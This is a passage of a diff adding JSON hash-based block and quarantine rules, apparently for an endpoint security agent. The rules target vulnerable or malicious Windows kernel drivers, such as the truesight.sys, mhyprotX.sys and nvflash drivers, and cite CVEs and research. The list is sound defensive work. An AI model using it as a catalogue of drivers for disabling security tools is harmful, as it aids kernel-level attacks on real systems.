+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cb03078-0f43-50cb-af8e-35dee76744dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487908Z",
+  "creation_date": "2026-03-23T11:45:31.487910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b49574345aac6924339f555e06ad0cb4ba8c36dca6403a6d9388174dcf76efd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cb540bb-f386-56a4-a700-6c0292258494",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618925Z",
+  "creation_date": "2026-03-23T11:45:29.618927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "989e3234c1b61ea2db590cb170f79e25e9c9a6262b7b9a751ecfc6bf4468b8c4",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cbb6b5c-18ca-52ad-ad7c-61f99d1dfd36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159264Z",
+  "creation_date": "2026-03-23T11:45:31.159266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159272Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f1435428af7ccb2ae2fbe1e581f4ad7c38bfaa5367e9bbe29f9732f838a84500",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cc7ec1e-58cd-57d3-9105-e395944ef424",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452461Z",
+  "creation_date": "2026-03-23T11:45:30.452465Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23be3616a4fb4e620f971e4348dc46b7980abca6463be3cb4b83769a955f2810",
+  "comment": "Vulnerable Kernel Driver (aka Chaos-Rootkit.sys) [https://www.loldrivers.io/drivers/abcd2c10-1078-4cf9-b320-04ca38d22f98/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cddd27c-2273-5e09-b052-dfeb5279592d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819673Z",
+  "creation_date": "2026-03-23T11:45:30.819675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "060d25126e45309414b380ee29f900840b689eae4217a8e621563f130c1d457f",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cedc317-06d0-5f0d-90f8-b68f58eb38a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832133Z",
+  "creation_date": "2026-03-23T11:45:30.832135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2749d7e7af1d4a0152ab690eaff93c17ffc587e203cec960a4e82eddee86147a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6cfca489-3930-5253-b47a-3f779247c35b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616860Z",
+  "creation_date": "2026-03-23T11:45:29.616864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616885Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9022cdd52aa3420757d5c16fe61a4fd4d538fe74981ddf3f29de00eb7a3be849",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d0cbf53-cde9-501b-b716-1eec52f624b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494169Z",
+  "creation_date": "2026-03-23T11:45:31.494172Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b64faa54484770a73e4e87f633374b409904997fbcb47da8af94a7f081661519",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d20b998-3850-5bb5-bf4a-9d9c7a8be162",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619018Z",
+  "creation_date": "2026-03-23T11:45:29.619020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab3fe6cbd9e3d70a64c5f3b186126cc38a04a624ceefc46afe4825f2001a3caa",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d2c0441-4717-560a-a346-1d3e65715b25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612198Z",
+  "creation_date": "2026-03-23T11:45:29.612200Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612205Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa717e9ab4d614497df19f602d289a6eddcdba8027c71bcc807780a219347d16",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d4049c5-6b9d-5196-a6ce-a26937a5c190",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817399Z",
+  "creation_date": "2026-03-23T11:45:30.817401Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2381e9fc518488f51e3ec49d5ca4e59d10727d20678067ca147e50b0c4294f9a",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d40b5b8-74bc-57c2-b973-563a0ede62e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144521Z",
+  "creation_date": "2026-03-23T11:45:32.144523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d8bc539ca7c72e552b7065d2a84fef43b75a46a53c82b50556c2984e0a86a9e",
+  "comment": "Malicious Kernel Driver (aka driver_4d8bc539.sys) [https://www.loldrivers.io/drivers/e7fd8ffc-ab37-4a7b-8dc9-fc7432fbacae/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d458b79-b71a-5b0f-965c-fcdb16621ee7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475060Z",
+  "creation_date": "2026-03-23T11:45:31.475064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475074Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92a0fba8c1598f73e1021e5e4607a7cfab6ed1cef1056d2a1bcdec47dd55391d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d465f08-a4f5-5e97-8fe8-058827ee4c6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143150Z",
+  "creation_date": "2026-03-23T11:45:32.143152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4160dae22484062ccc3750cc9cac8f929d8701694160a3b508715610814aa28d",
+  "comment": "Vulnerable Kernel Driver (aka echo_driver.sys) [https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d4764b3-5c35-5b66-b82b-bca5f7c65c3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145377Z",
+  "creation_date": "2026-03-23T11:45:31.145379Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145384Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcb2cd8c703f3b378be66a6a5f5283e9393a280df68a6b8f9d227c6aa8b92824",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d69fe65-8b59-5e30-9de0-a7635a77ae83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156021Z",
+  "creation_date": "2026-03-23T11:45:31.156022Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "821401e4becfc52522485719c8f5375889e7d4281c6d76bdb76ccfa332e8a102",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d874781-b2b2-56d9-a9a5-9efd07a1acd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452942Z",
+  "creation_date": "2026-03-23T11:45:30.452954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c5aef14613b8471f5f4fdeb9f25b5907c2335a4bc18b3c2266fb1ffd8f1741d",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d9369f3-485c-5c87-b526-a40568e50bc1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974766Z",
+  "creation_date": "2026-03-23T11:45:29.974768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974774Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45624a7469927b999cce153ff0074f675a8c062c5afa3f0c688b6124874ca27a",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d95c489-0cc2-57f1-858a-c57a0e76f43c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606629Z",
+  "creation_date": "2026-03-23T11:45:29.606631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0fb06748758082263e252050904f2fd8a29a77ae71dfdb390346bd2046ebfd4",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6d97e72c-1f6b-57b2-84d1-f6e068b79040",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823526Z",
+  "creation_date": "2026-03-23T11:45:31.823529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823538Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "316dab59da430edeb47e6d2a95e7f4a6cee385be96353340151a606e05b4d8cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6da2bf15-5dfa-55d4-8d7e-e22051c03e66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824189Z",
+  "creation_date": "2026-03-23T11:45:31.824192Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c83986522ab62386c1568b4cd7ab597b72e6022bdbc63bb7a9fc634138c59467",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6da649c5-2a75-5528-8ca6-cafc8ba21aa7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834996Z",
+  "creation_date": "2026-03-23T11:45:30.834999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b6af15d8afb49cecd9803a72ed7598b9cd4b2725a2df9e73decca0f7ddd9e81",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
